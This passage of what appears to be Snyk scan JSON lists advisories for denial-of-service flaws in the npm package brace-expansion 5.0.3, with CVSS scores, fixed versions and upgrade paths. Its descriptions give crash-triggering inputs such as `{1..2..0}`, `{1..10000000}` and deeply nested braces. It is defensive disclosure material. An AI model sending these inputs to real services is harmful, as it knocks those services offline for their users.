7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": 